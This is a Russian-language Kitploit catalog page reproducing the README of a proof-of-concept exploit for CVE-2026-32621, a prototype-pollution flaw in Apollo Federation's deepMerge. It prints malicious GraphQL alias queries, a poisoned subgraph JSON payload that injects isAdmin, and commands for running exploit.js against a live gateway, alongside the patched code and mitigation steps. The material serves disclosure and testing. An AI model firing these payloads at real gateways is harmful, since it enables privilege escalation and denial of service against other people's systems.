Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
POC-CVE-2026-32621-Apollo-Federation-XSS-Vulnerability — PoC-эксплойт для CVE-2026-32621, демонстрирующий прототип-поллинг deepMerge в Apollo Federation с помощью специально созданных алиасов GraphQL, включая тесты для пропатченных версий. | Kitploit
Инструменты/GitHubGitHub/sam00/poc-cve-2026-32621-apollo-federation-xss-vulnerability
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийБезопасность API
GitHubsam00/poc-cve-2026-32621-apollo-federation-xss-vulnerability

POC-CVE-2026-32621-Apollo-Federation-XSS-Vulnerability

PoC-эксплойт для CVE-2026-32621, демонстрирующий прототип-поллинг deepMerge в Apollo Federation с помощью специально созданных алиасов GraphQL, включая тесты для пропатченных версий.

Репозиторий
201 месяц назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-32621 - Apollo Federation Prototype Pollution PoC

Обзор

ПолеЗначение
CVECVE-2026-32621
CVSS9.9 Критический
CWECWE-1321 (Prototype Pollution)
ЗатронутоApollo Federation < 2.9.6, < 2.10.5, < 2.11.6, < 2.12.3, < 2.13.2
Исправлено2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2
GHSAGHSA-pfjj-6f4p-rvmh

Описание уязвимости

Функция deepMerge в Apollo Federation (используется в @apollo/query-planner и @apollo/gateway для объединения ответов подграфов при выполнении плана запроса) не проверяет ключи перед обращением к target[key].

Когда исходный объект содержит __proto__ как собственное свойство (что создаёт JSON.parse), Object.keys() возвращает его, и target["__proto__"] разрешается в Object.prototype через цепочку прототипов. Затем слияние записывает свойства непосредственно в Object.prototype, загрязняя глобальную цепочку прототипов для всего процесса Node.js.

Корневая причина

// VULNERABLE (pre-patch)
for (const key of Object.keys(source)) {
  if (target[key] && isObject(source[key])) {
    deepMerge(target[key], source[key]);  // target["__proto__"] = Object.prototype!
  } else {
    target[key] = source[key];            // Direct assignment to prototype
  }
}

// PATCHED (post-patch)
for (const key of Object.keys(source)) {
  defineOwn(target, key);  // <-- Fix: shadows prototype property with own property
  if (target[key] && isObject(source[key])) {
    deepMerge(target[key], source[key]);
  }
}

Векторы атаки

1. На стороне клиента (вредоносный GraphQL-запрос)

Клиент отправляет GraphQL-запрос с псевдонимами полей __proto__, constructor или prototype. Когда шлюз обрабатывает ответ, deepMerge использует эти псевдонимы в качестве ключей, загрязняя Object.prototype.

query {
  __proto__: products {
    polluted: id
  }
}

2. На стороне подграфа (скомпрометированный подграф)

Скомпрометированный подграф возвращает JSON с ключами __proto__. Когда шлюз объединяет ответ через deepMerge, Object.prototype оказывается загрязнён.

{"data":{"__proto__":{"isAdmin":true,"polluted":"yes"}}}

3. Вложенная цепочка

query {
  constructor: products {
    prototype: id
  }
}

Воздействие

  • Повышение привилегий: внедрение свойств isAdmin, role, permissions
  • Отказ в обслуживании: переопределение toString, valueOf нулевыми/нерабочими функциями
  • Целостность данных: внедрение свойств, влияющих на бизнес-логику
  • Постоянное воздействие: загрязнение затрагивает ВСЕ последующие запросы к экземпляру шлюза
  • Межзапросное воздействие: любой запрос после атаки видит загрязнённые прототипы

Документация

ДокументСодержание
USAGE.mdПодробное руководство по использованию с пошаговыми инструкциями
DIAGRAM.mdСтруктурные схемы и визуализация потока атаки

Файлы

| Файл | Назначение |

|------|---------| | exploit.js | Основной эксплойт с 5 векторами атаки + локальная демонстрация | | test_exploit.js | Модульные тесты (15 тестов, проверяющих загрязнение и исправление) | | e2e_test.js | Сквозная проверка (10 тестов: шлюз + эксплойт + проверка) | | setup_vulnerable.js | Симулятор уязвимого шлюза для тестирования |

Использование

Быстрый старт (локальная демонстрация)

# Run the local deepMerge vulnerability demonstration
node exploit.js

Это демонстрирует точный уязвимый путь выполнения кода без необходимости запущенного шлюза.

Полный эксплойт (с уязвимым шлюзом)

# Terminal 1: Start vulnerable gateway simulator
node setup_vulnerable.js 4000

# Terminal 2: Run exploit against gateway
node exploit.js -u http://localhost:4000/graphql

Запуск тестов

# Unit tests (15 tests)
node test_exploit.js

# End-to-end tests (10 tests - starts gateway, sends exploits, verifies pollution)
node e2e_test.js

Эксплойт против реального Apollo Gateway

# Target a real vulnerable Apollo Gateway instance
node exploit.js -u http://target-gateway:4000/graphql

Пример вывода

======================================================================
  CVE-2026-32621 - Apollo Federation Prototype Pollution
  CVSS 9.9 Critical | CWE-1321
  Patched: 2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2
======================================================================

======================================================================
  Direct deepMerge Vulnerability Demonstration
  (Reproduces the exact vulnerable code path)
======================================================================

[Test 1] __proto__ pollution via JSON.parse source
  Source keys: __proto__
  source.__proto__ is own property: true
  VULNERABLE: Object.prototype.polluted_test1 = true
  PATCHED:    Object.prototype.polluted_test1 = undefined

[Test 2] constructor.prototype pollution
  VULNERABLE: Object.prototype.polluted_test2 = true
  PATCHED:    Object.prototype.polluted_test2 = undefined

--------------------------------------------------
  RESULTS SUMMARY
--------------------------------------------------
  [VULNERABLE] __proto__ via JSON.parse
  [SAFE]       __proto__ via JSON.parse (patched)
  [VULNERABLE] constructor.prototype
  [SAFE]       constructor.prototype (patched)

Схема цепочки атаки

Client            Apollo Gateway              Subgraph
  │                   │                         │
  │  GraphQL query    │                         │
  │  with __proto__   │                         │
  │  field alias      │                         │
  │ ────────────────► │  Forward query          │
  │                   │ ──────────────────────► │
  │                   │                         │
  │                   │  JSON response with     │
  │                   │  __proto__ as own prop  │
  │                   │ ◄────────────────────── │
  │                   │                         │
  │                   │  deepMerge() called     │
  │                   │  target["__proto__"]   │
  │                   │  → Object.prototype     │
  │                   │  ⚠ POLLUTED!            │
  │                   │                         │
  │  200 OK           │                         │
  │  polluted: true   │                         │
  │ ◄──────────────── │                         │
  │                   │                         │
  │  ALL subsequent requests inherit polluted   │
  │  properties (isAdmin, polluted, etc.)       │

Полные диаграммы архитектуры см. в DIAGRAM.md.

Меры по устранению

  1. Обновите до исправленных версий: 2.9.6, 2.10.5, 2.11.6, 2.12.3, 2.13.2
  2. Фильтрация ввода: блокируйте GraphQL-операции, содержащие __proto__, constructor, prototype в псевдонимах полей и именах переменных
  3. Доверие к подграфам: убедитесь, что все подграфы получены из доверенных источников
  4. Object.create(null): используйте объекты с нулевым прототипом, где это возможно

Ссылки

  • Запись NVD
  • GitHub Advisory GHSA-pfjj-6f4p-rvmh
  • Уведомление о безопасности Apollo Federation
  • CWE-1321

Лицензия

MIT

Скачать инструмент